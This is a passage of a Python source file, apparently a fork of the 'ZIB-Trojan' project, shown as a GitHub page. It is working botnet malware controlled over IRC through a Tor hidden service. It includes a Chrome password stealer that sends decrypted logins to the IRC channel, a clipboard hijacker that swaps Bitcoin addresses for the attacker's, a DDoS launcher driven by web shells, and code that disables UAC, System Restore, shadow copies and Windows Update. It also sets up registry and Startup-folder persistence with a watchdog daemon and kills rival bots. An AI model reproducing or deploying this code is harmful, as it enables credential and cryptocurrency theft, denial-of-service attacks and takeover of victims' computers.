forked from d4rkcat/ZIB-Trojan
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathZIB.py
5253 lines (5217 loc) · 246 KB
/
ZIB.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
def gethash(code):
m = sha256()
m.update(code)
return m.hexdigest()
def fire(host,ip,seconds,port):
try:
reply = urllib.urlopen(host).read()
if 'engine' in reply:
urlopen(host+"?act=engine&host="+ip+"&time="+seconds+"&port="+port).read()
else:
urlopen(host+"?act=phptools&host="+ip+"&time="+seconds+"&port="+port).read()
except:
pass
def shellBoot(time, threads, ip, port, shellist):
hosts = urlopen(shellist).read().split()
for host in hosts:
for x in range(0,threads):
while 1:
worked=False
try:
start_new_thread(fire,(host,ip,time,port))
worked=True
except:
pass
if worked == True:
break
def ChromeStealer(s, ircChannel, ircChannelkeyword):
# Connect to the Database
XP=False
if release() == "XP":
XP=True
Chrome=False
Files = []
if XP == True:
if path.isdir(getenv("USERPROFILE")+"\\Local Settings\\Application Data\\Google\\Chrome\\User Data"):
for lol in listdir(getenv("USERPROFILE")+"\\Local Settings\\Application Data\\Google\\Chrome\\User Data"):
if path.isfile(getenv("USERPROFILE")+"\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\"+lol+"\\Login Data"):
Files.append(getenv("USERPROFILE")+"\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\"+lol+"\\Login Data")
Chrome=True
else:
if path.isdir(getenv("APPDATA")+"\\..\\Local\\Google\\Chrome\\User Data\\"):
for lol in listdir(getenv("APPDATA")+"\\..\\Local\\Google\\Chrome\\User Data\\"):
if path.isfile(getenv("APPDATA")+"\\..\\Local\\Google\\Chrome\\User Data\\"+lol+"\\Login Data"):
Files.append(getenv("APPDATA")+"\\..\\Local\\Google\\Chrome\\User Data\\"+lol+"\\Login Data")
Chrome=True
if Chrome == True:
s.send("PRIVMSG "+ircChannel+" :Chrome found. Recovering logins for all users in format USER:PASSWORD:URL.\r\n")
else:
s.send("PRIVMSG "+ircChannel+" :Chrome not found. Unable to recover logins.\r\n")
for theFile in Files:
try:
num=0
conn = sqlite3.connect(theFile)
cursor = conn.cursor()
# Get the results
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
# Decrypt the Password
password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
if password:
num=num+1
output = result[1]
if not output == "":
output = output + ":"
if not password == "":
output = output + password + ":"
if not result[0] == "":
output = output + result[0]
if (keyword.lower() == "all") or (keyword in output):
s.send("PRIVMSG "+ircChannel+" :"+output+"\r\n")
if num > 0:
s.send("PRIVMSG "+ircChannel+" :Finished recovering Chrome logins.\r\n")
else:
s.send("PRIVMSG "+ircChannel+" :Error: No logins in Chrome installation.\r\n")
except:
pass
clipcoinaddress=""
clipcoinAddress=""
class BCAddressField(forms.CharField):
default_error_messages = {
'invalid': 'Invalid Bitcoin address.',
}
def __init__(self, *args, **kwargs):
super(BCAddressField, self).__init__(*args, **kwargs)
def clean(self, value):
value = value.strip()
if match(r"[a-zA-Z1-9]{27,35}$", value) is None:
raise ValidationError(self.error_messages['invalid'])
version = get_bcaddress_version(value)
if version is None:
raise ValidationError(self.error_messages['invalid'])
return value
__b58chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
__b58base = len(__b58chars)
def b58encode(v):
""" encode v, which is a string of bytes, to base58.
"""
long_value = 0L
for (i, c) in enumerate(v[::-1]):
long_value += (256**i) * ord(c)
result = ''
while long_value >= __b58base:
div, mod = divmod(long_value, __b58base)
result = __b58chars[mod] + result
long_value = div
result = __b58chars[long_value] + result
nPad = 0
for c in v:
if c == '\0': nPad += 1
else: break
return (__b58chars[0]*nPad) + result
def b58decode(v, length):
long_value = 0L
for (i, c) in enumerate(v[::-1]):
long_value += __b58chars.find(c) * (__b58base**i)
result = ''
while long_value >= 256:
div, mod = divmod(long_value, 256)
result = chr(mod) + result
long_value = div
result = chr(long_value) + result
nPad = 0
for c in v:
if c == __b58chars[0]: nPad += 1
else: break
result = chr(0)*nPad + result
if length is not None and len(result) != length:
return None
return result
def get_bcaddress_version(strAddress):
addr = b58decode(strAddress,25)
if addr is None: return None
version = addr[0]
checksum = addr[-4:]
vh160 = addr[:-4] # Version plus hash160 is what is checksummed
h3=SHA256.new(SHA256.new(vh160).digest()).digest()
if h3[0:4] == checksum:
return ord(version)
return None
class ClipboardTheif():
def __init__(self):
self.clipboardData = ""
def grabpossibleBTCaddresses(self, text):
possibleaddresses=[]
#starts with 1-3, 26-35 alphanumeric characters
char = 0
for character in list(text):
if character == "1" or character == "2" or character == "3":
#w00t, possibly a BTC address.
for x in range(26,35):
if len(text) >= char+x:
possibleaddresses.append(text[char:char+x])
char = char + 1
return possibleaddresses
def identifyBTCaddresses(self,addresses):
goodaddresses = []
for address in addresses:
if not get_bcaddress_version(address) == None:
goodaddresses.append(address)
return goodaddresses
def replaceBTCaddresses(self,attackeraddress, data):
try:
for address in self.identifyBTCaddresses(self.grabpossibleBTCaddresses(data)):
data = data.replace(address, attackeraddress)
return data
except:
pass
def grabData(self):
try:
win32clipboard.OpenClipboard()
self.clipboardData = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
return self.clipboardData
except:
pass
return 1
def writeData(self, data):
try:
win32clipboard.OpenClipboard()
win32clipboard.EmptyClipboard()
win32clipboard.CloseClipboard()
win32clipboard.OpenClipboard()
win32clipboard.SetClipboardText(data)
win32clipboard.CloseClipboard()
return 0
except:
raise
return 1
def replaceAllAddresses(self, attackeraddress):
self.text = self.grabData()
self.txt = self.replaceBTCaddresses(attackeraddress, self.text)
self.writeData(self.txt)
botAdmin = False
try:
temp = listdir(sep.join([environ.get('SystemRoot','\\Windows'),'temp']))
botAdmin=True
except:
botAdmin=False
pass
ircServers = [
"t4qtu5hr7ngqu4v7.onion:6667:#YourIRCchannelHERE"
]
for ircServer in ircServers:
print "IRC Server: "+ircServer
def disablers():
try:
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
aKey = OpenKey(aReg, r"Software\\Microsoft\\Windows\\Windows Error Reporting", 0, KEY_WRITE)
subkeys = [ "Disabled", "DontSendAdditionalData", "LoggingDisabled" ]
for subkey in subkeys:
SetValueEx(aKey,subkey,0, REG_SZ, r"1")
except:
pass
try:
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
aKey = OpenKey(aReg, r"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_WRITE)
SetValueEx(aKey,"EnableLUA",0, REG_SZ, r"0")
except:
pass
if botAdmin == True:
try:
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_WRITE)
SetValueEx(aKey,"EnableLUA",0, REG_SZ, r"0")
except:
pass
try:
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"Software\\Microsoft\\Windows\\Windows Error Reporting", 0, KEY_WRITE)
SetValueEx(aKey,"Disabled",0, REG_SZ, r"1")
except:
pass
try:
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"System\\CurrentControlSet\\Services\\vss", 0, KEY_WRITE)
SetValueEx(aKey,"Start",0, REG_SZ, r"4")
except:
pass
try:
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"System\\CurrentControlSet\\Services\\srservice", 0, KEY_WRITE)
SetValueEx(aKey,"Start",0, REG_SZ, r"4")
except:
pass
try:
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"Software\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore", 0, KEY_WRITE)
SetValueEx(aKey,"DisableSR",0, REG_SZ, r"1")
except:
pass
try:
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU", 0, KEY_WRITE)
SetValueEx(aKey,"NoAutoUpdate",0, REG_SZ, r"1")
except:
pass
try:
start_new_thread(disablers, ())
except:
pass
cmdprefix="!"
regKey=""
botProc = ""
torProc = "tor.exe"
daemonProc = ""
installDir=HERE
channelpassword=""
sshdsAppDataFolder="\\Microsoft"
updateFolder="V89kCdrUpdate"
updateEXE="txID6o5upd.exe"
sshdsFile="\\Log-209832"
meltFile="kad32.dat"
dlexecDir="DL"
version="5"
newfile=str(randrange(0,2000000))
sleep(randrange(0,5))
smartviewURLs=""
smartviewseconds=0.0
browsers = [ "iexplore.exe", "firefox.exe",
"chrome.exe", "opera.exe" ,
"browser.exe", "torch.exe",
"sbframe.exe", "epic.exe",
"Spark.exe", "Maxthon.exe",
"icedragon.exe", "qupzilla.exe" ]
def smartViewsettings():
global smartviewURLs
global smartviewseconds
while 1:
if path.isdir(getenv("APPDATA")+installDir):
for theFile in listdir(getenv("APPDATA")+installDir):
if theFile.endswith(".xml"):
with open(getenv("APPDATA")+installDir+"\\"+theFile, "r") as fileRead:
try:
smartviewseconds=float(fileRead.read())
except:
pass
elif theFile.endswith(".dat"):
with open(getenv("APPDATA")+installDir+"\\"+theFile, "r") as fileRead:
try:
smartviewURLs=fileRead.read()
except:
pass
sleep(60)
start_new_thread(smartViewsettings, ())
def smartView():
global smartviewURLs
global smartviewseconds
while 1:
if not smartviewURLs=="" and not smartviewseconds < 1.0:
smartURLs=[]
if "|" in smartviewURLs:
smartURLs = smartviewURLs.split("|")
else:
smartURLs.append(smartviewURLs)
smartGood=False
for URL in smartURLs:
if not URL == "":
smartGood=True
processes=[]
processlocations=[]
pythoncom.CoInitialize()
c = wmi.WMI()
opened=False
for process in c.Win32_Process():
if opened == False:
for browser in browsers:
try:
if process.Name.lower() == browser.lower():
handle = OpenProcess(PROCESS_ALL_ACCESS,False,process.ProcessId)
exe = GetModuleFileNameEx(handle, 0)
for URL in smartURLs:
if not URL == "":
print "calling: "+exe+" with "+URL
Popen([exe, URL], creationflags=0x08000000, shell=False)
sleep(smartviewseconds)
opened=True
except:
pass
if opened == False:
browserstatic = ["\\Program Files\\QupZilla\\qupzilla.exe",
"\\Program Files\\Comodo\\IceDragon\\icedragon.exe",
"\\Program Files\\Maxthon\\Bin\\Maxthon.exe",
"\\Program Files\\baidu\\Baidu Browser\\Spark.exe",
"LOCALAPPDATASETTINGS\\Epic Privacy Browser\\Application\\epic.exe",
"LOCALAPPDATASETTINGS\\Application Data\\Torch\\Application\\torch.exe",
"\\Program Files\\Opera\\OPERALOCAL\\opera.exe",
"\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"\\Program Files\\Mozilla Firefox\\firefox.exe",
"\\Program Files\\Internet Explorer\\iexplore.exe"]
realbrowsers = []
for browserlocal in browserstatic:
if "OPERALOCAL" in browserlocal:
if path.isfile(browserlocal.split("OPERALOCAL")[0]):
try:
for directory in listdir(browserlocal.split("OPERALOCAL")):
if path.isfile(directory.replace("OPERALOCAL", directory)):
browserlocal = directory.replace("OPERALOCAL", directory)
except:
pass
if "LOCALAPPDATASETTINGS" in browserlocal:
if release() == "XP":
browserlocal = browserlocal.replace("LOCALAPPDATASETTINGS", "\\Local Settings\\Application Data")
else:
browserlocal = browserlocal.replace("LOCALAPPDATASETTINGS", "\\AppData\\Local")
if path.isfile(browserlocal):
realbrowsers.append(browserlocal)
if "Program Files" in browserlocal:
browserlocal = browserlocal.replace("Program Files", "Program Files (x86)")
if path.isfile(browserlocal):
realbrowsers.append(browserlocal)
for URL in smartURLs:
if not URL == "":
if len(realbrowsers) > 0:
Popen([choice(realbrowsers), URL], creationflags=0x08000000, shell=False)
sleep(float(smartviewseconds))
sleep(2)
start_new_thread(smartView, ())
def clipcoin():
global clipcoinaddress
clipObj = ClipboardTheif()
while 1:
try:
if not clipcoinaddress == "":
clipObj.replaceAllAddresses(clipcoinaddress)
except:
pass
sleep(1)
def getclipcoinAddress():
global clipcoinaddress
while 1:
try:
worked=False
for theFile in listdir(getenv("APPDATA")+installDir):
if theFile.endswith(".ini"):
with open(getenv("APPDATA")+installDir+"\\"+theFile, "r") as BTCaddress:
clipcoinaddress = BTCaddress.read()
worked=True
if worked == False:
clipcoinaddress=""
except:
pass
sleep(60)
if not argv[0].endswith(daemonProc):
start_new_thread(clipcoin, ())
start_new_thread(getclipcoinAddress, ())
def sendmsg(text,s,channel):
s.send("PRIVMSG "+channel+" :"+text+"\n")
def killProcess(process_name):
pythoncom.CoInitialize()
c = wmi.WMI()
for process in c.Win32_Process():
try:
if process.Name.lower().startswith(process_name.lower()):
process.Terminate()
except:
pass
def IsProcessRunning(ProcName):
procRunning=False
pythoncom.CoInitialize()
c = wmi.WMI()
for process in c.Win32_Process():
try:
if process.Name.lower().startswith(ProcName.lower()):
procRunning=True
except:
pass
return procRunning
def NumberProcsOpen(ProcName):
procs=0
pythoncom.CoInitialize()
c = wmi.WMI()
for process in c.Win32_Process():
try:
if process.Name.lower().startswith(ProcName.lower()):
procs=procs+1
except:
pass
return procs - 1
allProcs = 0
if argv[0].endswith(botProc):
allProcs = allProcs + NumberProcsOpen(botProc)
if not argv[0].endswith(botProc):
allProcs = allProcs + NumberProcsOpen(argv[0].split("\\")[len(argv[0].split("\\")) - 1])
if allProcs > 1:
raise SystemExit
server_list = [
"http://icanhazip.com/",
"http://myip.dnsdynamic.org/",
"http://myexternalip.com/raw",
"http://ip.42.pl/raw",
"http://curlmyip.com/",
"http://ipogre.com/linux.php",
"http://checkip.dyndns.org/plain",
"http://ipecho.net/plain",
"http://ifconfig.me/ip",
"http://ip.dnsexit.com/"
]
country_list = [
"http://ip.pycox.com/xml",
"http://freegeoip.net/xml/"
]
goodip=False
country="ERR"
ipaddr="127.0.0.1"
if argv[0].endswith(botProc):
for server in server_list:
sleep(1)
goodip=False
try:
ipaddr = urlopen(server).read().replace("\n","").replace("<html><head><title>IP Lookup</title></head><body>IP Address: ","").replace("</body></html>","").replace("<html><head><title>Current IP Check</title></head><body>Current IP Address: ","")
if "404" in ipaddr or "400" in ipaddr or "403" in ipaddr or "500" in ipaddr or "401" in ipaddr or not "." in ipaddr or "not found" in ipaddr or "Not Found" in ipaddr:
goodip=False
break
goodip=True
except:
pass
if goodip == True:
break
if "127.0.0.1" in ipaddr or "a" in ipaddr or "b" in ipaddr or "c" in ipaddr or "d" in ipaddr or "e" in ipaddr or "f" in ipaddr or "g" in ipaddr or "h" in ipaddr or "i" in ipaddr or "j" in ipaddr or "k" in ipaddr or "l" in ipaddr or "m" in ipaddr or "n" in ipaddr or "o" in ipaddr or "p" in ipaddr or "q" in ipaddr or "r" in ipaddr or "s" in ipaddr or "t" in ipaddr or "u" in ipaddr or "u" in ipaddr or "v" in ipaddr or "w" in ipaddr or "x" in ipaddr or "y" in ipaddr or "z" in ipaddr or "404" in ipaddr or "400" in ipaddr or "403" in ipaddr or "500" in ipaddr or "401" in ipaddr or not "." in ipaddr or "not found" in ipaddr or "Not Found" in ipaddr:
ipaddr="127.0.0.1"
for server in country_list:
exitfor=False
try:
country = urlopen(server).read()
a = country.split()
for b in a:
b=b.lower()
if "<country_code>" in b or "<countrycode>" in b:
replacestrings = [
"<country_code>",
"</country_code>",
"<countrycode>",
"</countrycode>"
]
for replacestring in replacestrings:
b = b.replace(replacestring, "")
country = b.upper()
exitfor=True
except:
pass
if exitfor == True:
break
badcountry=False
errorcodes = [ "404", "400", "403", "500", "401", "not found", "<", ">" ]
for code in errorcodes:
if code in country.lower():
badcountry=True
if "." in country:
badcountry=True
if badcountry == True:
country="E"
print "Your country: "+country+" your IP: "+ipaddr
useSSL = False
doSSHscan=False
doUDPflood=False
doTeamSpeak=False
doTeamSpeaks=False
doFTPflood=False
doFTPSflood=False
doTCPflood=False
doProtect=True
installTor=True
doSSLflood=False
doHTTPflood=False
doHTTPSflood=False
botkiller = False
doomeglespreader = False
maxrand=20000
if argv[0].endswith(updateEXE):
for x in range(0,2):
killProcess(daemonProc)
killProcess(botProc)
try:
remove(getenv("APPDATA")+installDir+"\\"+daemonProc)
except:
pass
try:
remove(getenv("APPDATA")+"\\Microsoft\\Start Menu\\Programs\\Startup\\"+daemonProc)
except:
pass
try:
remove(getenv("APPDATA")+installDir+"\\"+botProc)
except:
pass
try:
remove(getenv("APPDATA")+"\\Microsoft\\Start Menu\\Programs\\Startup\\"+botProc)
except:
pass
try:
key = OpenKey(HKEY_LOCAL_MACHINE, r"Software\\Microsoft\\Windows\\CurrentVersion\\run", 0, KEY_ALL_ACCESS)
DeleteValue(key, regKey)
except:
pass
try:
key = OpenKey(HKEY_CURRENT_USER, r"Software\\Microsoft\\Windows\\CurrentVersion\\run", 0, KEY_ALL_ACCESS)
DeleteValue(key, regKey)
except:
pass
else:
if path.isfile(getenv("APPDATA")+"\\Microsoft\\"+updateFolder+"\\"+updateEXE):
if IsProcessRunning(updateEXE):
killProcess(updateEXE)
try:
remove(updateEXE)
except:
pass
if path.isdir(getenv("APPDATA")+"\\Microsoft\\"+updateFolder):
try:
rmtree(getenv("APPDATA")+"\\Microsoft\\"+updateFolder)
except:
pass
def daemon():
while doProtect == True:
if not path.isdir(getenv("APPDATA")+installDir):
try:
makedirs(getenv("APPDATA")+installDir)
except:
pass
if not IsProcessRunning(botProc):
if not path.isfile(getenv("APPDATA")+installDir+"\\"+botProc):
try:
copyfile(argv[0], getenv("APPDATA")+installDir+"\\"+botProc)
except:
pass
with open(argv[0], "r") as daemonData:
with open(getenv("APPDATA")+installDir+"\\"+botProc, "r") as botData:
if not gethash(daemonData.read()) == gethash(botData.read()):
if IsProcessRunning(botProc):
killProcess(botProc)
remove(getenv("APPDATA")+installDir+"\\"+botProc)
if path.isfile(getenv("APPDATA")+installDir+"\\"+botProc):
try:
startfile(getenv("APPDATA")+installDir+"\\"+botProc)
except:
pass
sleep(15)
if argv[0].endswith(daemonProc):
print "we are the daemon process!"
daemon()
torURL = "https://dist.torproject.org/torbrowser/4.5.3/tor-win32-0.2.6.9.zip"
torSHA256 = "8d2eda25e32328962c77a829f039a326226fb6c82e658b8cc38b6cfd8d996320"
def downloadTor(outputFolder):
while True:
doBreak=False
try:
data = urlopen(torURL).read()
req = Request(torURL)
req.add_unredirected_header("User-Agent", "Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0")
data = urlopen(req).read()
del(req)
with open(outputFolder+"tor.zip", "wb") as code:
code.write(data)
with open(outputFolder+"tor.zip", "r") as code:
if gethash(code.read()) == torSHA256:
sourceZip = ZipFile(outputFolder+"tor.zip", 'r')
for name in sourceZip.namelist():
sourceZip.extractall(outputFolder)
sourceZip.close()
doBreak=True
remove(outputFolder+"tor.zip")
except:
pass
if doBreak == True:
break
else:
if path.isfile(outputFolder+"tor.zip"):
try:
remove(outputFolder+"tor.zip")
except:
pass
def killProcessandFile(process_name):
pythoncom.CoInitialize()
c = wmi.WMI()
for process in c.Win32_Process():
try:
if process_name.lower() in process.Name.lower():
handle = OpenProcess(PROCESS_ALL_ACCESS,False, process.ProcessId)
exe = GetModuleFileNameEx(handle, 0)
if exe.lower().startswith(process.Name.lower()+".exe"):
process.Terminate()
remove(exe)
except:
pass
def KillProcessandFileList(process_list):
pythoncom.CoInitialize()
c = wmi.WMI()
for process in c.Win32_Process():
sleep(5)
for botproc in process_list:
try:
if botproc.lower() in process.Name.lower():
handle = OpenProcess(PROCESS_ALL_ACCESS,False, process.ProcessId)
exe = GetModuleFileNameEx(handle, 0)
if exe.lower().startswith(process.Name.lower()+".exe"):
process.Terminate()
remove(exe)
except:
pass
def torwatch():
while doProtect == True:
if not IsProcessRunning("tor.exe"):
runTor=True
if path.isfile(getenv("APPDATA")+installDir+"\\Tor\\tor.exe"):
if path.isfile(getenv("APPDATA")+installDir+"\\Tor\\tor.exe:Zone.Identifier"):
try:
remove(getenv("APPDATA")+installDir+"\\Tor\\tor.exe:Zone.Identifier")
except:
pass
try:
startfile(getenv("APPDATA")+installDir+"\\"+torProc)
except:
pass
sleep(25)
def regedit():
global botkiller
global botAdmin
global regKey
global installDir
global botProc
while doProtect == True:
sleep(30)
try:
if True == botAdmin:
print "Software\\Microsoft\\Windows\\CurrentVersion\\run"
key = OpenKey(HKEY_LOCAL_MACHINE, r"Software\\Microsoft\\Windows\\CurrentVersion\\run", 0, KEY_READ)
else:
key = OpenKey(HKEY_CURRENT_USER, r"Software\\Microsoft\\Windows\\CurrentVersion\\run", 0, KEY_READ)
driveletters = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
for i in xrange(0, _winreg.QueryInfoKey(key)[1]-1):
dakey=str(_winreg.EnumValue(key, i)).replace('(','').replace('\'','').replace(',','').split('u"')[0]
for driveletter in driveletters:
dakey=dakey.split('u'+driveletter+':\\\\')[0]
dakey=dakey.split('u%')[0]
dakey=dakey.split('u\\')[0]
dakey=dakey.split(' u 1)')[0].split(' [] 7)')[0].split(' None 3)')[0].split(' 0 4)')[0].split(' \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 11)')[0].split('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 11)=')[0].split(' u 2)')[0]
dakey=dakey+'='
dakey=dakey.split(' =')[0]
dakey=dakey.split('=')[0]
listofkeys.append(dakey)
try:
for i in xrange(0, _winreg.QueryInfoKey(key)[1]-1):
dakey=str(_winreg.EnumValue(key, i)).replace('(','').replace('\'','').replace(',','').split('u"')[0]
for driveletter in driveletters:
dakey=dakey.split('u'+driveletter+':\\\\')[0]
dakey=dakey.split('u%')[0]
dakey=dakey.split('u\\')[0]
dakey=dakey.split(' u 1)')[0].split(' [] 7)')[0].split(' None 3)')[0].split(' 0 4)')[0].split(' \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 11)')[0].split('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 11)=')[0].split(' u 2)')[0]
dakey=dakey+'='
dakey=dakey.split(' =')[0]
dakey=dakey.split('=')[0]
listofkeys.append(dakey)
except:
pass
for lekey in listofkeys:
if not key == regKey and botkiller == True:
try:
try:
if botAdmin == True:
key = OpenKey(HKEY_LOCAL_MACHINE, r"Software\\Microsoft\\Windows\\CurrentVersion\\run", 0, KEY_ALL_ACCESS)
DeleteValue(key, lekey)
else:
key = OpenKey(HKEY_CURRENT_USER, r"Software\\Microsoft\\Windows\\CurrentVersion\\run", 0, KEY_ALL_ACCESS)
DeleteValue(key, lekey)
except:
pass
except:
pass
if True == botAdmin:
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
else:
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
aKey = OpenKey(aReg, r"Software\\Microsoft\\Windows\\CurrentVersion\\run", 0, KEY_WRITE)
SetValueEx(aKey,regKey,0, REG_SZ, "\""+getenv("APPDATA")+installDir+"\\"+botProc+"\"")
print "installed to registry."
sleep(5)
except:
pass
def installwindows():
global tordownloadurl
global tor
global installDir
global botProc
while doProtect == True:
sleep(60)
if path.isdir(getenv("APPDATA")+"\\Microsoft\\Start Menu\\Programs\\Startup"):
botnetProcs = [ botProc, daemonProc ]
for botnetProc in botnetProcs:
if (path.isfile(getenv("APPDATA")+"\\Microsoft\\Start Menu\\Programs\\Startup\\"+botnetProc)) and not (argv[0] == getenv("APPDATA")+"\\Microsoft\\Start Menu\\Programs\\Startup\\"+botnetProc):
with open(getenv("APPDATA")+"\\Microsoft\\Start Menu\\Programs\\Startup\\"+botnetProc, "r") as botstartmenudata:
with open(argv[0], "r") as botProcdata:
if not gethash(botProcdata.read()) == gethash(botstartmenudata.read()):
if not IsProcessRunning(botnetProc):
try:
remove(getenv("APPDATA")+"\\Microsoft\\Start Menu\\Programs\\Startup\\"+botnetProc)
except:
pass
if not path.isfile(getenv("APPDATA")+"\\Microsoft\\Start Menu\\Programs\\Startup\\"+botnetProc):
try:
copyfile(argv[0], getenv("APPDATA")+"\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"+botnetProc)
except:
pass
print "file copied to startup."
if path.isfile(getenv("APPDATA")+"\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"+botProc+":Zone.Identifier"):
try:
remove(getenv("APPDATA")+"\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"+botProc+":Zone.Identifier")
except:
pass
if not path.isdir(getenv("APPDATA")+installDir):
try:
makedirs(getenv("APPDATA")+installDir)
except:
pass
print "made installation directory."
if path.isfile(getenv("APPDATA")+installDir+"\\"+daemonProc) and not argv[0] == getenv("APPDATA")+installDir+"\\"+daemonProc:
with open (getenv("APPDATA")+installDir+"\\"+daemonProc, "r") as daemonData:
with open(argv[0], "r") as mainData:
if not gethash(daemonData.read()) == gethash(mainData.read()):
if IsProcessRunning(daemonProc):
killProcess(daemonProc)
try:
remove(getenv("APPDATA")+installDir+"\\"+daemonProc)
except:
pass
if not path.isfile(getenv("APPDATA")+installDir+"\\"+daemonProc):
try:
copyfile(argv[0], getenv("APPDATA")+installDir+"\\"+daemonProc)
except:
pass
print "wrote daemon file to AppData."
if path.isfile(getenv("APPDATA")+installDir+"\\"+daemonProc+":Zone.Identifier"):
try:
remove(getenv("APPDATA")+installDir+"\\"+daemonProc+":Zone.Identifier")
except:
pass
if not IsProcessRunning(daemonProc):
if path.isfile(getenv("APPDATA")+installDir+"\\"+daemonProc+":Zone.Identifier"):
try:
remove(getenv("APPDATA")+installDir+"\\"+daemonProc+":Zone.Identifier")
except:
pass
if path.isfile(getenv("APPDATA")+installDir+"\\"+daemonProc) and not argv[0] == getenv("APPDATA")+installDir+"\\"+daemonProc:
with open(getenv("APPDATA")+installDir+"\\"+daemonProc, "r") as daemonData:
with open(argv[0], "r") as mainData:
